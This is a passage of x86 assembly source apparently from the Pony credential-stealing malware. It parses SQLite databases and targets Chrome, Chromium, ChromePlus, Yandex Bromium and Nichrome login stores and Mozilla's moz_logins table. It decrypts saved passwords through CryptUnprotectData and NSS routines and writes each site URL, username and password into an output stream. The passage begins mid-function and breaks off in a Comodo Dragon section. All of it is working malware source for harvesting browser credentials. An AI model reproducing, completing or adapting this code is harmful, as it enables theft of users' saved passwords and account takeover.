SQLiteBuildDataRecord, StrVal, StrLen, SQLITE_DATATYPE_STR, lpDataOut invoke MemFree, StrVal mov eax, TRUE .ELSE mov eax, FALSE .ENDIF ret SQLiteReadRecord endp SQLiteFreeRecordArray proc uses esi record_array .IF !record_array ret .ENDIF mov esi, record_array .WHILE dword ptr[esi] invoke MemFree, dword ptr[esi] add esi, 4 .ENDW invoke MemFree, record_array ret SQLiteFreeRecordArray endp ; Get data length & pointer for a single cell from 1-dim record array SQLiteGetRecordArrayCell proc record_array, nCell, cell_len, cell_type, cell_data mov eax, record_array mov edx, nCell mov eax, dword ptr[eax+edx*4] .IF cell_len mov edx, cell_len m2m dword ptr[edx], dword ptr[eax] .ENDIF .IF cell_type mov edx, cell_type m2m dword ptr[edx], dword ptr[eax+4] .ENDIF .IF cell_data mov edx, cell_data m2m dword ptr[edx], eax add dword ptr[edx], 8 .ENDIF ret SQLiteGetRecordArrayCell endp ; Process encoded payload data (row) SQLiteProcessPayloadStream proc uses edi esi stream, result_array, result_count LOCAL records_mem: DWORD LOCAL stream_len: DWORD LOCAL dwStatusCode: DWORD LOCAL varint_len: DWORD LOCAL header_self_len: DWORD LOCAL header_len: DWORD LOCAL nRecords: DWORD LOCAL RecordData: DWORD LOCAL result: DWORD mov eax, result_count mov dword ptr[eax], 0 mov eax, result_array mov dword ptr[eax], NULL .IF !stream sub eax, eax ret .ENDIF invoke StreamGetLength, stream .IF !eax sub eax, eax ret .ENDIF mov stream_len, eax invoke StreamGotoBegin, stream ; Get header length mov dwStatusCode, TRUE invoke SQLiteReadVarInt, stream, addr dwStatusCode, addr header_self_len .IF (header_self_len > eax) || (!dwStatusCode) || (edx) sub eax, eax ret .ENDIF ; Calculate real header length sub eax, header_self_len mov header_len, eax ; Do not process headers longer than 10MB .IF header_len > 1024*1024*10 sub eax, eax ret .ENDIF mov eax, header_len shl eax, 2 invoke MemAlloc, eax mov records_mem, eax mov edi, eax ; Read header (record types) mov nRecords, 0 .WHILE (header_len > 0) && (dwStatusCode) invoke SQLiteReadVarInt, stream, addr dwStatusCode, addr varint_len mov ecx, varint_len .IF (ecx > header_len) || (edx) invoke MemFree, records_mem sub eax, eax ret .ENDIF sub header_len, ecx inc nRecords stosd .ENDW .IF (header_len != 0) || (!dwStatusCode) invoke MemFree, records_mem sub eax, eax ret .ENDIF .IF !nRecords jmp @result_ok .ENDIF ; Read records (cells) ; Prepare result array mov eax, result_count m2m dword ptr[eax], nRecords mov eax, nRecords shl eax, 2 invoke MemAlloc, eax mov result, eax mov edi, result mov esi, records_mem .WHILE nRecords && dwStatusCode lodsd mov edx, eax mov RecordData, 0 invoke SQLiteReadRecord, stream, edx, addr dwStatusCode, addr RecordData .IF (!eax) || (!dwStatusCode) || (!RecordData) .IF RecordData invoke MemFree, RecordData .ENDIF invoke SQLiteFreeRecordArray, result invoke MemFree, records_mem sub eax, eax ret .ENDIF ; Store record cell into result_array mov eax, RecordData stosd dec nRecords .ENDW mov eax, result_array m2m dword ptr[eax], result @result_ok: invoke MemFree, records_mem mov eax, TRUE ret SQLiteProcessPayloadStream endp ; Process database page SQLiteReadPage proc uses edi stream, target_stream, nPage, lpStatusCode, item_id, lpCallbackFunc LOCAL page_type: DWORD LOCAL nCells: DWORD LOCAL cell_offset_array: DWORD LOCAL page_offset: DWORD LOCAL payload_len: DWORD LOCAL _U: DWORD LOCAL S: DWORD LOCAL M: DWORD LOCAL payload_stream: DWORD LOCAL result_array: DWORD LOCAL result_count: DWORD LOCAL result_status: DWORD LOCAL left_child: DWORD LOCAL r_pointer: DWORD .IF nPage == 0 mov eax, TRUE ret .ENDIF dec nPage sub edx, edx mov eax, nPage mul dwSQLitePageSize mov page_offset, eax invoke StreamSeekOffset, stream, page_offset, OFS_BEGIN .IF nPage == 0 invoke StreamSeekOffset, stream, 100, OFS_CUR .ENDIF invoke Stream_SafeReadByte, stream, lpStatusCode mov page_type, eax invoke Stream_SafeReadWORD, stream, lpStatusCode invoke Stream_SafeReadWORD, stream, lpStatusCode mov nCells, eax invoke Stream_SafeReadWORD, stream, lpStatusCode invoke Stream_SafeReadByte, stream, lpStatusCode mov eax, lpStatusCode .IF (!dword ptr[eax]) || ((page_type != SQLITE_PAGE_LEAF) && (page_type != SQLITE_PAGE_INTERIOR)) sub eax, eax ret .ENDIF mov eax, dwSQLitePageSize shr eax, 1 .IF nCells > eax sub eax, eax ret .ENDIF ; The right-most pointer .IF page_type == SQLITE_PAGE_INTERIOR invoke Stream_SafeReadDWORD, stream, lpStatusCode mov r_pointer, eax .ENDIF invoke MemAlloc, 32768*2 mov cell_offset_array, eax ; Read cell offset array sub edi, edi .WHILE edi < nCells invoke Stream_SafeReadWORD, stream, lpStatusCode mov edx, cell_offset_array mov dword ptr[edx+edi*4], eax inc edi .ENDW mov eax, lpStatusCode .IF !dword ptr[eax] invoke MemFree, cell_offset_array sub eax, eax ret .ENDIF .IF page_type == SQLITE_PAGE_INTERIOR ; B-tree interior page, contains pointers to other pages sub edi, edi .WHILE edi < nCells mov edx, cell_offset_array mov eax, dword ptr[edx+edi*4] add eax, page_offset invoke StreamSeekOffset, stream, eax, OFS_BEGIN ; Left child invoke Stream_SafeReadDWORD, stream, lpStatusCode mov left_child, eax ; Row-ID invoke SQLiteReadVarInt, stream, lpStatusCode, NULL mov ecx, lpStatusCode .IF !dword ptr[ecx] invoke MemFree, cell_offset_array sub eax, eax ret .ENDIF invoke SQLiteReadPage, stream, target_stream, left_child, lpStatusCode, item_id, lpCallbackFunc .IF !eax invoke MemFree, cell_offset_array sub eax, eax ret .ENDIF inc edi .ENDW invoke SQLiteReadPage, stream, target_stream, r_pointer, lpStatusCode, item_id, lpCallbackFunc .IF !eax invoke MemFree, cell_offset_array sub eax, eax ret .ENDIF .ELSEIF page_type == SQLITE_PAGE_LEAF ; B-tree leaf page, contains payload data (row) sub edi, edi .WHILE edi < nCells mov edx, cell_offset_array mov eax, dword ptr[edx+edi*4] add eax, page_offset invoke StreamSeekOffset, stream, eax, OFS_BEGIN ; Payload length invoke SQLiteReadVarInt, stream, lpStatusCode, NULL mov ecx, lpStatusCode .IF !dword ptr[ecx] invoke MemFree, cell_offset_array sub eax, eax ret .ENDIF .IF edx ; Do not process records with payload length greater than 4GB (INT64) .BREAK .ENDIF mov payload_len, eax ; Row-ID invoke SQLiteReadVarInt, stream, lpStatusCode, NULL mov ecx, lpStatusCode .IF !dword ptr[ecx] invoke MemFree, cell_offset_array sub eax, eax ret .ENDIF ; Determine payload storage m2m _U, dwSQLitePageSize ; usable page size mov eax, _U ; U = page_size sub eax, 12 ; U = U - 12 shl eax, 5 ; U = U * 32 sub edx, edx mov ecx, 255 ; U = U div 255 div ecx sub eax, 23 ; U = U - 23 mov M, eax sub _U, 35 mov eax, payload_len .IF eax <= _U ; payload_len is less than or equal to U-35 ; entire payload is stored on the b-tree leaf page .ELSE ; Payload is spilled onto overflow pages sub edx, edx mov eax, payload_len sub eax, M ; payload_len - M mov ecx, _U add ecx, 35 sub ecx, 4 ; U - 4 div ecx ; div (U - 4) add edx, M ; division reminder + M mov S, edx mov eax, _U .IF eax < S mov eax, M .ELSE mov eax, S .ENDIF .ENDIF invoke SQLiteBuildPayloadStream, stream, eax, payload_len, lpStatusCode .IF !eax invoke MemFree, cell_offset_array sub eax, eax ret .ENDIF mov payload_stream, eax mov edx, eax invoke SQLiteProcessPayloadStream, edx, addr result_array, addr result_count mov result_status, eax invoke StreamFree, payload_stream .IF result_status && result_array push item_id push result_count push result_array push target_stream push stream call lpCallbackFunc invoke SQLiteFreeRecordArray, result_array .ENDIF inc edi .ENDW .ENDIF invoke MemFree, cell_offset_array mov eax, TRUE ret SQLiteReadPage endp ; Extract column names and indexes from the table SQL schema SQLiteProcessSQL proc uses esi edi sql, callback_func LOCAL state: DWORD LOCAL k: DWORD LOCAL nCol: DWORD invoke StrStrI, sql, offset szSQLiteLeftBracket .IF !eax ret .ENDIF cld ; Cut everything before '(' char inc eax mov esi, eax mov edi, sql .WHILE byte ptr[esi] movsb .ENDW movsb invoke StrStrI, sql, offset szSQLiteRightBracket .IF !eax ret .ENDIF ; Replace unused chars mov edi, sql .WHILE byte ptr[edi] .IF byte ptr[edi] == 9 || byte ptr[edi] == 13 || byte ptr[edi] == 10 || byte ptr[edi] == '[' || byte ptr[edi] == ']' || byte ptr[edi] == '`' mov byte ptr[edi], ' ' .ENDIF inc edi .ENDW ; Cut quoted ('abc') sequences mov state, 0 mov k, 0 mov edi, sql .WHILE byte ptr[edi] .IF byte ptr[edi] == "'" .IF state == 0 test k, 1 .IF ZERO? mov state, 1 .ENDIF .ELSE test k, 1 .IF ZERO? mov byte ptr[edi], ' ' mov state, 0 .ENDIF .ENDIF .ENDIF .IF byte ptr[edi] == "\" inc k .ELSE mov k, 0 .ENDIF .IF state == 1 mov byte ptr[edi], ' ' .ENDIF inc edi .ENDW ; Replace double space chars to single space chars (' ' -> ' ') mov edi, sql .WHILE byte ptr[edi] .IF (byte ptr[edi] == ' ') && (byte ptr[edi+1] == ' ') push edi .WHILE byte ptr[edi] mov al, byte ptr[edi+1] mov byte ptr[edi], al inc edi .ENDW pop edi dec edi .ENDIF inc edi .ENDW ; Process column definitions one by one mov nCol, 0 mov esi, sql mov edi, sql .WHILE byte ptr[edi] .IF byte ptr[edi] == ',' mov byte ptr[edi], 0 push nCol push esi call callback_func .IF !eax ret .ENDIF mov esi, edi inc esi inc nCol .ENDIF inc edi .ENDW push nCol push esi call callback_func ret SQLiteProcessSQL endp ProcessSQLiteStream proc stream, target_stream, item_id, callback_func LOCAL header[16]: BYTE LOCAL dwStatusCode: DWORD ; Read database header invoke StreamGotoBegin, stream invoke StreamRead, stream, addr header, sizeof header .iF !eax ret .ENDIF invoke CompareMem, addr header, offset szSQLite3Header, sizeof header .IF !eax ret .ENDIF mov dwStatusCode, TRUE invoke Stream_SafeReadWORD, stream, addr dwStatusCode .IF !eax || !dwStatusCode sub eax, eax ret .ENDIF ; Validate page size push eax sub ecx, ecx .WHILE eax shr eax, 1 .IF CARRY? inc ecx .ENDIF .ENDW pop eax .IF eax == 1 mov eax, 65536 .ENDIF ; Page size must be power of 2 .IF ecx != 1 sub eax, eax ret .ENDIF mov dwSQLitePageSize, eax ; File format write version invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF ((eax != 1) && (eax != 2)) || ! dwStatusCode sub eax, eax ret .ENDIF ; File format read version invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF ((eax != 1) && (eax != 2)) || ! dwStatusCode sub eax, eax ret .ENDIF ; Reserved bytes invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF eax != 0 || ! dwStatusCode sub eax, eax ret .ENDIF ; Maximum embedded payload fraction invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF eax != 64 || ! dwStatusCode sub eax, eax ret .ENDIF ; Minimum embedded payload fraction invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF eax != 32 || ! dwStatusCode sub eax, eax ret .ENDIF ; Leaf payload fraction invoke Stream_SafeReadByte, stream, addr dwStatusCode .IF eax != 32 || ! dwStatusCode sub eax, eax ret .ENDIF invoke Stream_SafeReadSkip, stream, 4*8, addr dwStatusCode ; Database text encoding invoke Stream_SafeReadDWORD, stream, addr dwStatusCode .IF (eax < 1) || (eax > 3) || (!dwStatusCode) sub eax, eax ret .ENDIF mov dwSQLiteEncoding, eax invoke Stream_SafeReadSkip, stream, 40, addr dwStatusCode ; Start database processing from page 1 invoke SQLiteReadPage, stream, target_stream, 1, addr dwStatusCode, item_id, callback_func ret ProcessSQLiteStream endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Common chromium decryption IFDEF COMPILE_CHROMIUM_CODE .data CChromeWebData db 'Web Data',0 CChromeLoginData db 'Login Data',0 szChromeLoginTable db 'logins',0 szChromeActionURL db 'origin_url',0 szChromePassValue db 'password_value',0 szChromeUserValue db 'username_value',0 szChromeFTP db 'ftp://',0 IFDEF GRAB_HTTP szChromeHTTP db 'http://',0 szChromeHTTPS db 'https://',0 ENDIF .data? dwChromeActionURLIndex dd ? dwChromePassValueIndex dd ? dwChromeUserValueIndex dd ? .code ; Process SQL column definition SQLiteProcessChromeColDef proc uses edi column_definition, column_index invoke Trim, column_definition invoke StrStrI, column_definition, offset szSQLiteSpaceChar .IF !eax ret .ENDIF mov byte ptr[eax], 0 invoke Trim, column_definition mov edi, offset szSQLiteStopWords @@: invoke lstrcmpi, edi, column_definition .IF !eax ret .ENDIF @Next @B invoke lstrlen, column_definition .IF !eax ret .ENDIF invoke lstrcmpi, column_definition, offset szChromeActionURL .IF !eax m2m dwChromeActionURLIndex, column_index .ENDIF invoke lstrcmpi, column_definition, offset szChromePassValue .IF !eax m2m dwChromePassValueIndex, column_index .ENDIF invoke lstrcmpi, column_definition, offset szChromeUserValue .IF !eax m2m dwChromeUserValueIndex, column_index .ENDIF mov eax, TRUE ret SQLiteProcessChromeColDef endp ; Process chrome password data row SQLiteProcessChromeDataTable proc uses esi edi stream, target_stream, row_array, cell_count, item_id LOCAL url_cell_len: DWORD LOCAL url_cell_type: DWORD LOCAL url_cell_data: DWORD LOCAL user_cell_len: DWORD LOCAL user_cell_type: DWORD LOCAL user_cell_data: DWORD LOCAL pass_cell_len: DWORD LOCAL pass_cell_type: DWORD LOCAL pass_cell_data: DWORD LOCAL InBlob: DATA_BLOB LOCAL OutBlob: DATA_BLOB LOCAL host: DWORD .IF !cell_count || !MyCryptUnprotectData ret .ENDIF mov eax, cell_count .IF (dwChromeActionURLIndex < eax) && (dwChromePassValueIndex < eax) && (dwChromeUserValueIndex < eax) ; Get cell values invoke SQLiteGetRecordArrayCell, row_array, dwChromeActionURLIndex, addr url_cell_len, addr url_cell_type, addr url_cell_data invoke SQLiteGetRecordArrayCell, row_array, dwChromeUserValueIndex, addr user_cell_len, addr user_cell_type, addr user_cell_data invoke SQLiteGetRecordArrayCell, row_array, dwChromePassValueIndex, addr pass_cell_len, addr pass_cell_type, addr pass_cell_data m2m InBlob.cbData, pass_cell_len m2m InBlob.pbData, pass_cell_data mov OutBlob.pbData, 0 ; Decrypt password lea eax, OutBlob push eax push CRYPTPROTECT_UI_FORBIDDEN push 0 push 0 push 0 push 0 lea eax, InBlob push eax call MyCryptUnprotectData .IF eax && OutBlob.pbData mov ecx, OutBlob.cbData ; check if the input buffer is large enough to hold the decrypted password .IF ecx <= pass_cell_len cld mov esi, OutBlob.pbData mov edi, pass_cell_data mov ecx, OutBlob.cbData jecxz @F rep movsb @@: m2m pass_cell_len, OutBlob.cbData invoke LocalFree, OutBlob.pbData .IF url_cell_len && user_cell_len && pass_cell_len invoke MemAlloc, url_cell_len mov host, eax invoke MoveMem, url_cell_data, host, url_cell_len invoke lstrlen, offset szChromeFTP invoke StrCmpNI, host, offset szChromeFTP, eax IFDEF GRAB_HTTP .IF eax invoke lstrlen, offset szChromeHTTP invoke StrCmpNI, host, offset szChromeHTTP, eax .ENDIF .IF eax invoke lstrlen, offset szChromeHTTPS invoke StrCmpNI, host, offset szChromeHTTPS, eax .ENDIF ENDIF .IF !eax invoke StreamWriteDWORD, target_stream, item_id invoke StreamWriteDWORD, target_stream, dwSQLiteEncoding invoke StreamWriteBinaryString, target_stream, url_cell_data, url_cell_len invoke StreamWriteBinaryString, target_stream, user_cell_data, user_cell_len invoke StreamWriteBinaryString, target_stream, pass_cell_data, pass_cell_len .ENDIF invoke MemFree, host .ENDIF .ENDIF .ENDIF .ENDIF ret SQLiteProcessChromeDataTable endp ; Process database schema table (sqlite_master table) ; ; CREATE TABLE sqlite_master( ; type text, ; name text, ; tbl_name text, ; rootpage integer, ; sql text ; ); SQLiteProcessChromeSchemaTable proc stream, target_stream, row_array, cell_count, item_id LOCAL cell_len: DWORD LOCAL cell_type: DWORD LOCAL cell_data: DWORD LOCAL table_name: DWORD LOCAL root_page: DWORD LOCAL dwStatusCode: DWORD .IF cell_count == 5 ; Validate table column count invoke SQLiteGetRecordArrayCell, row_array, 2, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_STR m2m table_name, cell_data invoke lstrcmpi, table_name, offset szChromeLoginTable .IF !eax invoke SQLiteGetRecordArrayCell, row_array, 0, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_STR invoke lstrcmp, offset szSQLite3TableType, cell_data .IF !eax invoke SQLiteGetRecordArrayCell, row_array, 3, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_INT mov eax, cell_data m2m root_page, dword ptr[eax] invoke SQLiteGetRecordArrayCell, row_array, 4, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_STR mov dwChromeActionURLIndex, -1 mov dwChromePassValueIndex, -1 mov dwChromeUserValueIndex, -1 invoke SQLiteProcessSQL, cell_data, offset SQLiteProcessChromeColDef mov dwStatusCode, TRUE .IF (dwChromeActionURLIndex != -1) && (dwChromePassValueIndex != -1) && (dwChromeUserValueIndex != -1) invoke SQLiteReadPage, stream, target_stream, root_page, addr dwStatusCode, item_id, offset SQLiteProcessChromeDataTable .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF ret SQLiteProcessChromeSchemaTable endp ProcessChromeSQLiteFile proc target_stream, szSQLFileName, item_id LOCAL stream: DWORD invoke StreamCreate, addr stream invoke StreamLoadFromFile, szSQLFileName, stream .IF eax invoke ProcessSQLiteStream, stream, target_stream, item_id, offset SQLiteProcessChromeSchemaTable .IF !eax ; Error occured while processing ".sqlite" file ; Send ".sqlite" file for debugging ;invoke CommonAppendFileForceDupe, target_stream, lpFileName, ITEMHDR_ID or 1000h .ENDIF .ENDIF invoke StreamFree, stream ret ProcessChromeSQLiteFile endp ChromeAppDataCommonSingleFileScan proc stream, csidl, appdata_dir, config_file, item_id invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, appdata_dir push eax invoke CommonFileScanCallback, stream, eax, config_file, item_id, offset ProcessChromeSQLiteFile call MemFree .ENDIF ret ChromeAppDataCommonSingleFileScan endp ChromeCommonScanCustomID proc stream, base_appdata_dir, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_APPDATA, base_appdata_dir, offset CChromeWebData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_APPDATA, base_appdata_dir, offset CChromeLoginData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, base_appdata_dir, offset CChromeWebData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, base_appdata_dir, offset CChromeLoginData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, base_appdata_dir, offset CChromeWebData, id invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, base_appdata_dir, offset CChromeLoginData, id ret ChromeCommonScanCustomID endp ChromeCommonScan proc stream, base_appdata_dir invoke ChromeCommonScanCustomID, stream, base_appdata_dir, ITEMHDR_ID or 0 ret ChromeCommonScan endp ENDIF IFDEF COMPILE_MOZILLA_CODE ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Common Mozilla SQLite3 database decryption .data szMozillaLoginTable db 'moz_logins',0 szMozillaActionURL db 'hostname',0 szMozillaPassValue db 'encryptedPassword',0 szMozillaUserValue db 'encryptedUsername',0 .data? dwMozillaActionURLIndex dd ? dwMozillaPassValueIndex dd ? dwMozillaUserValueIndex dd ? .code ; Process SQL column definition SQLiteProcessMozillaColDef proc uses edi column_definition, column_index invoke Trim, column_definition invoke StrStrI, column_definition, offset szSQLiteSpaceChar .IF !eax ret .ENDIF mov byte ptr[eax], 0 invoke Trim, column_definition mov edi, offset szSQLiteStopWords @@: invoke lstrcmpi, edi, column_definition .IF !eax ret .ENDIF @Next @B invoke lstrlen, column_definition .IF !eax ret .ENDIF invoke lstrcmpi, column_definition, offset szMozillaActionURL .IF !eax m2m dwMozillaActionURLIndex, column_index .ENDIF invoke lstrcmpi, column_definition, offset szMozillaPassValue .IF !eax m2m dwMozillaPassValueIndex, column_index .ENDIF invoke lstrcmpi, column_definition, offset szMozillaUserValue .IF !eax m2m dwMozillaUserValueIndex, column_index .ENDIF mov eax, TRUE ret SQLiteProcessMozillaColDef endp ; Process password data row SQLiteProcessMozillaDataTable proc stream, target_stream, row_array, cell_count, item_id LOCAL url_cell_len: DWORD LOCAL url_cell_type: DWORD LOCAL url_cell_data: DWORD LOCAL user_cell_len: DWORD LOCAL user_cell_type: DWORD LOCAL user_cell_data: DWORD LOCAL pass_cell_len: DWORD LOCAL pass_cell_type: DWORD LOCAL pass_cell_data: DWORD LOCAL host: DWORD LOCAL user: DWORD LOCAL pass: DWORD .IF !cell_count ret .ENDIF mov eax, cell_count .IF (dwMozillaActionURLIndex < eax) && (dwMozillaPassValueIndex < eax) && (dwMozillaUserValueIndex < eax) ; Get cell values invoke SQLiteGetRecordArrayCell, row_array, dwMozillaActionURLIndex, addr url_cell_len, addr url_cell_type, addr url_cell_data invoke SQLiteGetRecordArrayCell, row_array, dwMozillaUserValueIndex, addr user_cell_len, addr user_cell_type, addr user_cell_data invoke SQLiteGetRecordArrayCell, row_array, dwMozillaPassValueIndex, addr pass_cell_len, addr pass_cell_type, addr pass_cell_data .IF url_cell_len && pass_cell_len mov edx, url_cell_len inc edx invoke MemAlloc, edx mov host, eax invoke MoveMem, url_cell_data, host, url_cell_len mov user, NULL mov pass, NULL .IF mozilla_mode == MOZILLA_MODE_FTP_HTTP invoke lstrlen, offset szMozillaFTP invoke StrCmpNI, host, offset szMozillaFTP, eax IFDEF GRAB_HTTP .IF eax invoke lstrlen, offset szMozillaHTTP invoke StrCmpNI, host, offset szMozillaHTTP, eax .ENDIF .IF eax invoke lstrlen, offset szMozillaHTTPS invoke StrCmpNI, host, offset szMozillaHTTPS, eax .ENDIF ENDIF .ELSEIF mozilla_mode == MOZILLA_MODE_FIREFTP invoke lstrlen, offset szMozillaFireFTP invoke StrCmpNI, host, offset szMozillaFireFTP, eax .ELSEIF mozilla_mode == MOZILLA_MODE_EMAIL sub eax, eax ; allow all hosts .ENDIF .IF !eax ; user (can be empty for some record types) .IF user_cell_len invoke MozillaNSSDecryptPassword, user_cell_data, user_cell_len mov user, eax .ENDIF ; pass invoke MozillaNSSDecryptPassword, pass_cell_data, pass_cell_len mov pass, eax .IF host && pass ; export recovered data invoke StreamWriteDWORD, target_stream, item_id invoke StreamWriteString, target_stream, host invoke StreamWriteString, target_stream, user invoke StreamWriteString, target_stream, pass .ENDIF .ENDIF invoke MemFree, user invoke MemFree, pass invoke MemFree, host .ENDIF .ENDIF ret SQLiteProcessMozillaDataTable endp SQLiteProcessMozillaSchemaTable proc stream, target_stream, row_array, cell_count, item_id LOCAL cell_len: DWORD LOCAL cell_type: DWORD LOCAL cell_data: DWORD LOCAL table_name: DWORD LOCAL root_page: DWORD LOCAL dwStatusCode: DWORD .IF cell_count == 5 ; Validate table column count invoke SQLiteGetRecordArrayCell, row_array, 2, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_STR m2m table_name, cell_data invoke lstrcmpi, table_name, offset szMozillaLoginTable .IF !eax invoke SQLiteGetRecordArrayCell, row_array, 0, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_STR invoke lstrcmp, offset szSQLite3TableType, cell_data .IF !eax invoke SQLiteGetRecordArrayCell, row_array, 3, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_INT mov eax, cell_data m2m root_page, dword ptr[eax] invoke SQLiteGetRecordArrayCell, row_array, 4, addr cell_len, addr cell_type, addr cell_data .IF cell_type == SQLITE_DATATYPE_STR mov dwMozillaActionURLIndex, -1 mov dwMozillaPassValueIndex, -1 mov dwMozillaUserValueIndex, -1 invoke SQLiteProcessSQL, cell_data, offset SQLiteProcessMozillaColDef mov dwStatusCode, TRUE .IF (dwMozillaActionURLIndex != -1) && (dwMozillaPassValueIndex != -1) && (dwMozillaUserValueIndex != -1) invoke SQLiteReadPage, stream, target_stream, root_page, addr dwStatusCode, item_id, offset SQLiteProcessMozillaDataTable .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF .ENDIF ret SQLiteProcessMozillaSchemaTable endp ProcessMozillaSQLiteFile proc target_stream, szSQLFileName, item_id LOCAL stream: DWORD invoke StreamCreate, addr stream invoke StreamLoadFromFile, szSQLFileName, stream .IF eax invoke ProcessSQLiteStream, stream, target_stream, item_id, offset SQLiteProcessMozillaSchemaTable .IF !eax ; Error occured while processing ".sqlite" file ; Send ".sqlite" file for debugging ;invoke CommonAppendFileForceDupe, target_stream, lpFileName, ITEMHDR_ID or 1000h .ENDIF .ENDIF invoke StreamFree, stream ret ProcessMozillaSQLiteFile endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Google Chrome ; Tested: Google Chrome 12.0.742.122 ; Tested: Google Chrome 18.0.1025.168 ; Tested: Google Chrome 19.0.1084.52 m ; Tested: Google Chrome 29.0.1547.66 m ; SFTP: not supported IFDEF COMPILE_MODULE_CHROME .data CChromeAppDataDir db '\Google\Chrome',0 .code GrabChrome proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_CHROME, 0 mov hdr_ofs, eax invoke ChromeCommonScan, stream, offset CChromeAppDataDir invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabChrome endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Chromium & SRWare Iron ; SFTP: not supported IFDEF COMPILE_MODULE_CHROMIUM .data CChromiumAppDataDir db '\Chromium',0 .code GrabChromium proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_CHROMIUM, 0 mov hdr_ofs, eax invoke ChromeCommonScan, stream, offset CChromiumAppDataDir invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabChromium endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; ChromePlus ; http://coolnovo.com/ ; SFTP: not supported IFDEF COMPILE_MODULE_CHROMEPLUS .data CChromePlusAppDataDir db '\ChromePlus',0 CChromePlusInstRegPath db 'Software\ChromePlus',0 CChromePlusInstRegValue db 'Install_Dir',0 .code GrabChromePlus proc stream LOCAL hdr_ofs: DWORD LOCAL inst_dir: DWORD invoke StreamWriteModuleHeader, stream, MODULE_CHROMEPLUS, 0 mov hdr_ofs, eax invoke ChromeCommonScan, stream, offset CChromePlusAppDataDir invoke RegReadValueStr, dwCurrentUserKey, offset CChromePlusInstRegPath, offset CChromePlusInstRegValue, NULL .IF eax mov inst_dir, eax invoke CommonFileScanCallback, stream, inst_dir, offset CChromeWebData, ITEMHDR_ID or 0, offset ProcessChromeSQLiteFile invoke CommonFileScanCallback, stream, inst_dir, offset CChromeLoginData, ITEMHDR_ID or 0, offset ProcessChromeSQLiteFile invoke MemFree, inst_dir .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabChromePlus endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Bromium (Yandex Chrome) ; http://browser.yandex.ru/ ; SFTP: not supported IFDEF COMPILE_MODULE_BROMIUM .data CBromiumAppDataDir db '\Bromium',0 .code GrabBromium proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BROMIUM, 0 mov hdr_ofs, eax invoke ChromeCommonScan, stream, offset CBromiumAppDataDir invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBromium endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Nichrome ; http://nichrome.rambler.ru/ ; SFTP: not supported IFDEF COMPILE_MODULE_NICHROME .data CNichromeAppDataDir db '\Nichrome',0 .code GrabNichrome proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NICHROME, 0 mov hdr_ofs, eax invoke ChromeCommonScan, stream, offset CNichromeAppDataDir invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNichrome endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Comodo Dragon ; http://www.comodo.com/home/browsers-toolbars/browser.php ; SFTP: 